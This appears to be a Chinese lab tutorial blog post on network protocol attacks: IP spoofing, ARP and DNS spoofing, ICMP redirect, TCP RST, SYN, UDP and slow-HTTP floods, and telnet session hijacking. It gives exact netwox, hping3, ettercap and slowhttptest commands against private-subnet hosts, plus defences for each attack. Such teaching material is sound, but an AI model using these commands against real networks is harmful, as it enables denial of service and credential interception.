协议攻击

协议攻击

IP源地址欺骗dos攻击

靶机1:Ubuntu 16.04 192.168.100.147

攻击机:kali 2019 192.168.100.100

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:netwox

原理

IP协议在设计时只使用数据包中的目标地址进行路由转发,而不对源地址进行真实性的验证。攻击者则会修改IP协议包头,使其包含一个不同的虚假IP地址,而接收到欺骗数据包的计算机则会向假冒的源地址发回响应包

步骤

  1. 在ubuntu上开启tcpdump监听

    tcpdump –i ens33 tcp port 80 -n –nn

在这里插入图片描述

  1. 在Seed节点上设置防火墙规则

    iptables -A INPUT -i ens33 -s 192.168.100.188/32 -j ACCEPT
    iptables -A INPUT -i ens33 -s 192.168.100.2/32 -j ACCEPT
    iptables -A INPUT -i ens33 -p all -j DROP
    

在这里插入图片描述

  1. 查看一下当前防火墙状态

    iptables –L

  2. 在kali上利用netwox进行IP地址欺骗,伪装成192.168.100.188,突破防火墙限制

    netwox 52 -E "0:1:2:3:4:5" -I "192.168.100.188" -e "00:0c:29:83:36:d7" -i "192.168.100.147"

在这里插入图片描述

  1. syn flood是建立在ip源地址欺骗上的攻击。在kali上通过netwox进行syn泛洪攻击

    netwox 76 -i 192.168.100.147 -p 80

在这里插入图片描述

  1. 此时ubuntu的80端口收到大量不同地址和端口的syn包,使用netstat查看连接情况, 在防火墙作用下攻击并未成功

    netstat -an|grep 80

  2. 关闭防火墙后,再查看netstat,攻击成功,此时存在大量syn半连接

在这里插入图片描述

防御

  1. IP地址欺骗的防御可在网关或防火墙中进行源IP地址过滤,即禁止源地址非本网段地址的数据包发出,从而从源头屏蔽伪造IP源地址的的数据包
  2. 也可以采用基于加密算法的技术来进行身份认证,代替基于IP的信任策略

ARP欺骗中间人攻击

靶机1:win7 192.168.100.141

靶机2:Ubuntu 16.04 192.168.100.147

攻击机:kali 2019 192.168.100.100

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:ettercap

原理

ARP欺骗攻击的根源在于ARP协议在设计时认为局域网内部的所有用户都是可信的,当攻击者渗透进入内网后,通过向局域网内节点缓存中注入伪造的IP/MAC映射关系,从而进行欺骗,成为局域网内的中间人节点,即可以监听并进一步篡改数据包

步骤

Win7节点和ubuntu节点之间正常通行时数据包将不会经过Kali节点。攻击节点Kali将通过ARP欺骗成为中间人,从而截获ubuntu和Win7节点之间的数据包,并可对数据包内容进行篡改

  1. 在ubuntu节点上正常访问win7上的web站点:http://192.168.100.141,并且查看arp缓存表,确认win7 MAC地址的真实性

    arp -a

在这里插入图片描述

在这里插入图片描述

  1. 在kali上使用ettercap进行中间人欺骗攻击

    ettercap -i eth0 -Tq –M arp:remote /192.168.100.141// /192.168.100.147//

在这里插入图片描述

依次按键h->o->p

在这里插入图片描述

  1. 开启kali节点ip转发功能,将0改为1

    echo 1 > /proc/sys/net/ipv4/ip_forward
    cat /proc/sys/net/ipv4/ip_forward
    

在这里插入图片描述

  1. 在ubuntu上查看arp –a,发现win7的mac已经改变,网络上的mac地址都被替换成kali的了

    在这里插入图片描述

在这里插入图片描述

  1. 在kali上开启wireshark,在ubuntu上继续访问win7的web服务,可以看到ubuntu和win7的MAC地址都被kali替换了

在这里插入图片描述

  1. 在kali中在启用一个窗口监听本地eth0

ettercap -Tq -i eth0

在这里插入图片描述

  1. 在ubuntu里面访问win7,可以在kali里面看到请求和响应信息

  2. 然后去通过ubuntu登录win7的网站
    在这里插入图片描述

  3. 登录成功后返回kali看抓包的信息中包含了登录用户名和密码

在这里插入图片描述

防御

  • 使用IP-MAC静态绑定来防御arp欺骗,使用arp -s绑定静态mac

ICMP路由重定向攻击和防御

靶机1:Ubuntu 16.04 192.168.100.147

攻击机:kali 2019 192.168.100.100

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:netwox

原理

ICMP路由重定向攻击(ICMPRedirectAttack)是指攻击者伪装成路由器发送虚假的ICMP路由路径控制报文,使得受害主机选择攻击者指定的路由路径,从而进行嗅探或假冒攻击的一种技术

步骤

  1. 确认ubuntu中的路由表

    route –C -n(本身使用此命令路由缓存表为空,网络搜索查找原因,Linux内核3.6以后,路由cache被去除了,取而代之的是下一跳缓存)

在这里插入图片描述

路由IP均为正常网关地址192.168.100.2

在linux系统中,默认不接受ICMP重定向报文,默认配置值为0

将0设置为1即可再次进行ICMP重定向攻击

在这里插入图片描述

  1. 在Kali节点下,利用Netwox发起ICMP路由重定向攻击

    netwox 86 -g 192.168.100.100 -i 192.168.100.2

    在这里插入图片描述

  2. 在ubuntu中查看效果

    route –C -n(同1,内核3.6之下的或许可以使用此命令查看)

    由于无法显示结果,使用ping命令ping百度,查看到提示下一跳地址发生变化

在这里插入图片描述

tcpdump -i eth0 icmp -n

在这里插入图片描述

ubuntu向外的访问均重定向到了kali节点

  1. 在Linux系统中,可以禁止接收ICMP路由重定向数据包,重启网络并更改设置

    echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
    echo 0 > /proc/sys/net/ipv4/conf/ens33/accept_redirects
    echo 0 > /proc/sys/net/ipv4/conf/default/accept_redirects
    重启网络:/etc/init.d/networking restart
    刷新路由表:ip route flush cache
    
  2. 此时再次重复前述攻击步骤,可发现攻击失败

总结

  • 在linux系统中,默认不接受ICMP重定向报文的配置就是上面第4步中的值0。重新将0设置为1即可再次进行ICMP重定向攻击。

    echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
    echo 1 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
    echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects
    

TCP协议RST攻击

靶机1:win7 192.168.100.141

靶机2:Ubuntu 16.04 192.168.100.147

攻击机:kali 2019 192.168.100.144

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:netwox、nc、wireshark

原理

TCPRST攻击中,攻击主机kali可以通过嗅探方式监视通信双方win7和Ubuntu之间的TCP连接,在获得源、目标IP地址及端口,以及序列号之后,就可以结合IP源地址欺骗技术伪装成通信一方,发送TCP重置报文给通信另一方,在确保端口号一致及序列号落入TCP窗口之内的情况下,即可直接关闭这个TCP连接,造成通信双方正常网络通信的中断,达到拒绝服务的效果

步骤

Seed节点和WIN2003节点利用nc建立正常tcp会话,因为将Seed节点和攻击节点Kali放入同一网络,从而Netwox软件可以截取到tcp连接序列号,并发送正确的TCPRST数据包,重置Seed和WIN2003之间的TCP连接

  1. 在win7中使用nc工具开启4444端口

    nc -l -p 4444

在这里插入图片描述

  1. 在ubuntu上对4444进行端口监视

    watch "netstat –an|grep :4444"

    在这里插入图片描述

  2. ubuntu新开终端执行nc通信测试

    nc 192.168.100.141 4444

在这里插入图片描述

  1. win7收到测试字符,证明tcp连接建立成功

    在这里插入图片描述

  2. 在kali上利用netwox进行tcp RST攻击,同时开启wireshark(或使用tcpdump+wireshark)对win7进行抓包分析:

    netwox 78 -i 192.168.100.147

    tcpdump host 192.168.100.141 -w test.cap

    在这里插入图片描述

    在这里插入图片描述

  3. 在ubuntu上再次发送测试字符,这时连接断开

在这里插入图片描述

在这里插入图片描述

  1. 使用wireshark分析查看数据包

在这里插入图片描述

防御

RST是TCP报头的标志位,因此只要防火墙过滤带RST位的数据包即可防御

SYN Flood攻击

靶机1:win7 192.168.100.141

靶机2:ubuntu 16.04 192.168.100.147

攻击机:kali2019 192.168.100.144

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:netwox

原理

TCPSYNFlood,又称SYN洪泛攻击,是目前最为有效和流行的一种拒绝服务攻击形式。它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务

步骤

Kali向Ubuntu的23端口发起syn flood攻击

  1. 在Ubuntu中查看当前23端口连接信息,处于干净空白状态

    netstat -tuan|grep :23

    netstat -an -p TCP|find “:80”

在这里插入图片描述

  1. 使用win7对ubuntu发起telnet请求,可正常访问

    telnet 192.168.100.147

在这里插入图片描述

  1. 在kali上对ubuntu的23端口发起syn flood攻击

    netwox 76 -i 192.168.100.147 -p 23

    在这里插入图片描述

  2. 在ubuntu再次查看,发现23端口充斥大量的syn请求

    在这里插入图片描述

  3. 使用win7再次请求ubuntu的23端口,发现响应极为缓慢随后即失去连接,说明拒绝服务攻击已经成功

    在这里插入图片描述

  4. 在ubuntu上查看syncookie的设置状态

    cat /proc/sys/net/ipv4/tcp_syncookies

防御

  • sys flood属于dos攻击的一种,基于ip欺骗原理实现的,所以可以通过设置防火墙从网络层防御

  • linux中使用syn cookie来防御synflood,首先查看参数值

    cat /proc/sys/net/ipv4/tcp_syncookies

    结果为1即为开启,结果为0即未打开,通过此命令进行参数修改:

    echo 1 > /proc/sys/net/ipv4/tcp_syncookies

  • 设置syn_recv超时时限,也能防御syn flood

UDP Flood攻击

靶机: Ubuntu 16.04 192.168.100.147

攻击机:kali 2019 192.168.100.144

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:hping3

原理

由于UDP协议的无状态不可靠的天然特性,UDPFlood拒绝服务攻击的原理非常简单,即通过向目标主机和网络发送大量的UDP数据包,造成目标主机显著的计算负载提升,或者目标网络的网络拥塞,从而使得目标主机和网络陷入不可用的状态,造成拒绝服务攻击

步骤

Kali向ubuntu发起udp flood攻击,并使用tcpdump进行分析

  1. 在ubuntu上开启tcpdump监听

    tcpdump –i eth0 udp -n

    在这里插入图片描述

  2. 在kali中向ubuntu发起udp flood攻击

    hping3 --udp -p 53 192.168.100.147

在这里插入图片描述

  1. 在ubuntu中可以清除看到来自kali的udp攻击请求

    在这里插入图片描述

  2. 攻击进一步升级,使用工具自带的随机源地址参数进行源地址欺骗udp flood攻击

    hping3 --udp -p 53 --flood --rand-source 192.168.100.147

    在这里插入图片描述

  3. 在ubuntu中可以看到大量不同源地址发的包

在这里插入图片描述

防御

  • UDP是无状态连接协议,常用于僵尸网络的DDOS攻击,比起TCP来说更难防御。

  • 通过设置防火墙,对UDP包的IP,端口,速率可针对性的防御udp flood。

  • udp flood除了消耗受害者资源,也会消耗大量攻击者资源。

http慢速攻击

概念

HTTP慢速攻击也叫slow http attack,是一种DoS攻击的方式。由于HTTP请求底层使用TCP网络连接进行会话,因此如果中间件对会话超时时间设置不合理,并且HTTP在发送请求的时候采用慢速发HTTP请求,就会导致占用一个HTTP连接会话。如果发送大量慢速的HTTP包就会导致拒绝服务攻击DoS。

攻击种类

  • Slow headers(也称slowloris):Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,Web服务器再没接收到2个连续的\r\n时,会认为客户端没有发送完头部,而持续的等等客户端发送数据,消耗服务器的连接和内存资源。

  • Slow body(也称Slow HTTP POST):攻击者发送一个HTTP POST请求,该请求的Content-Length头部值很大,使得Web服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据,但攻击客户端每次只发送很少量的数据,使该连接一直保持存活,消耗服务器的连接和内存资源。

  • Slow read(也称Slow Read attack):客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,通过发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。

参数介绍

测试模式:
-H slow headers 攻击,缓慢发送\r\n,让服务器一直等待
-B slow Body 攻击
-R 范围攻击Apache killer
-X slow read 攻击,读的慢,让服务器发送缓存堵塞

报告生成选项:
-g 生成socket状态变化统计
-o file_prefix将输出保存到file.html和file.csv中
-v level日志等级,0-4:Fatal,Info,Error,Warning,Debug

普通选项:
-c connections目标连接数(50)
-i seconds数据发送间隔(10)
-l seconds测试一个目标的时间长度(240)
-r rate每秒多少个连接(50)
-s bytesContent-Length的值(4096)
-t verb请求中使用的动词,如果是slow header攻击,默认是GET;如果是slow body攻击,默认是POST
-u URL目标URL(http://localhost/)
-x bytes每一个tick随机生成的键值对最大长度,例如,-x 2 生成x-xx:xx是头字段,或是类似&xx=xx的消息体,x是随机字符(32)

探针/代理选项:
-d host:port所有数据走指定代理host:port
-e host:port 探针流量走指定代理host:port
-p seconds探针超时时长,服务器被认为是网络不可达(5)

slow read攻击具体选项:
-k num同一请求重复次数,当服务器支持持久化连接时用于放大响应长度(1)
-n seconds每次从接收缓冲区中读取消息的时间间隔(1)
-w bytes从通知窗中获取数据的起始位置(1)
-y bytes 从通知窗中获取数据的结束位置(512)
-z bytes每次从接收缓冲区中读取的长度(5)

命令

  • slowloris模式:

    • 使用curl命令请求目标网站页面

      Curl http://192.168.100.141/pkq/

      在这里插入图片描述

    • 使用slowhttptest攻击

      slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://192.168.100.141/pkq -x 24 -p 3
      

    在这里插入图片描述

    • 再次请求目标网站页面,页面无回显,网站无法正常显示

      在这里插入图片描述

  • Slow Body攻击:

    slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mywebsite.com -x 10 -p 3

  • Slow Read模式:

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://yourtarget.com -p 5 -l 350 -e x.x.x.x:8080

DNS欺骗

靶机:Ubuntu 16.04 192.168.100.147

攻击机:kali 192.168.100.144

网络拓扑环境:攻击机和靶机处于同一内网

使用工具:ettercap

原理

DNS(DomainNameSystem,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用记住IP地址。DNS协议运行在UDP协议之上,使用端口号53,DNS并不包含任何认证机制,因此第三方可以对DNS数据包进行伪造

步骤

此处操作时使用的是kali2019,但所列举的是kali2020的操作方法,所以部分页面可能地址有问题

  1. 在kali中编辑ettercap的配置文件,将所有.com的域名都解析到kali的ip:

    vim /etc/ettercap/etter.dns

    *.com A 192.168.100.144

    在这里插入图片描述

  2. 在kali上配置apache网站web主页,同时启动apache服务:

    vim /var/www/html/index.html

    在这里插入图片描述

  3. 启动apache服务

    systemctl restart apache2

  4. Ubuntu上访问weibo.com,显示正常

在这里插入图片描述

  1. 在kali上启动ettercap工具利用arp中间人攻击实现dns欺骗:

    ettercap -G进入图形界面 ,如果启动失败则reboot一下重启电脑

    在这里插入图片描述

    在这里插入图片描述

  2. target 1设置攻击目标,target 2设置网关

    在这里插入图片描述

  3. 选择arp欺骗中间人攻击
    在这里插入图片描述

    在这里插入图片描述

  4. 启用dns_spoof插件

    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 此时再在seed上访问www.weibo.com,发现访问到了我们刚才设置的kali页面上

在这里插入图片描述

  1. 使用nslookup查看,可以看到DNS将地址解析到了kali上:

    nslookup www.weibo.com

    在这里插入图片描述

防御

  • 静态绑定DNS/IP映射可以有效防止DNS欺骗。

  • 目前互联网中主流方法是采用DNSSec,其基于公钥体制的签名验证机制可实现DNS消息身份认证和完整性保护。

TCP会话劫持攻击

靶机1:win7 192.168.100.141

靶机2:ubantu 16.04 192.168.100.147

攻击机:kali2019 192.168.100.144

网络拓扑环境:攻击机和靶机处于同一内网

原理

TCP会话劫持目标是劫持通信双方已建立的TCP会话连接,假冒其中一方(通常是客户端)的身份,与另一方进行进一步通信

步骤

Kali通过ARP欺骗成为中间人,从而通过截获TCP数据包,对ubuntu和win7之间的TCP会话进行劫持

  1. 在kali中设置ip路由转发

    cat /proc/sys/net/ipv4/ip_forward
    echo 1 > /proc/sys/net/ipv4/ip_forward
    

    在这里插入图片描述

  2. 在kali中打开ettercap的图形界面,ettercap -G

  3. 将ubuntu和win7分别设置为target1和target2

在这里插入图片描述

  1. 选择菜单“MITM”中的“ARPpoisoning”进行ARP欺骗,并选择“Sniff remote connections”

    在这里插入图片描述

    在这里插入图片描述

  2. 在win7和ubuntu上使用arp -a,arp欺骗已经运行

    在这里插入图片描述

在这里插入图片描述

  1. 在win7上使用telnet访问seed并登陆

    win7启动telnet 在运行中输入services.msc 然后找到telnet服务并启动(没有客户端则安装)

  2. Ubnutu中启动telnet服务

    /etc/init.d/openbsd-inetd restart 启动 telnet

    ubuntu16.04需要安装客户端

    首先需要root用户权限(su)

    1.安装openbsd-inetd

    ​ apt-get install openbsd-inetd

    2.安装telnetd
    apt-get install telnetd

    3.重启openbsd-inetd
    /etc/init.d/openbsd-inetd restart

    4.查看telnet运行状态
    netstat -a | grep telnet

    5.登录

    ​ telnet IP address

  3. win7中测试登录

在这里插入图片描述

  1. 从kali中看到了登陆的账户和密码

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 继续测试效果,在win7中的telnet连接里操作ip a,kali中同样可以监听到

在这里插入图片描述

在这里插入图片描述

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值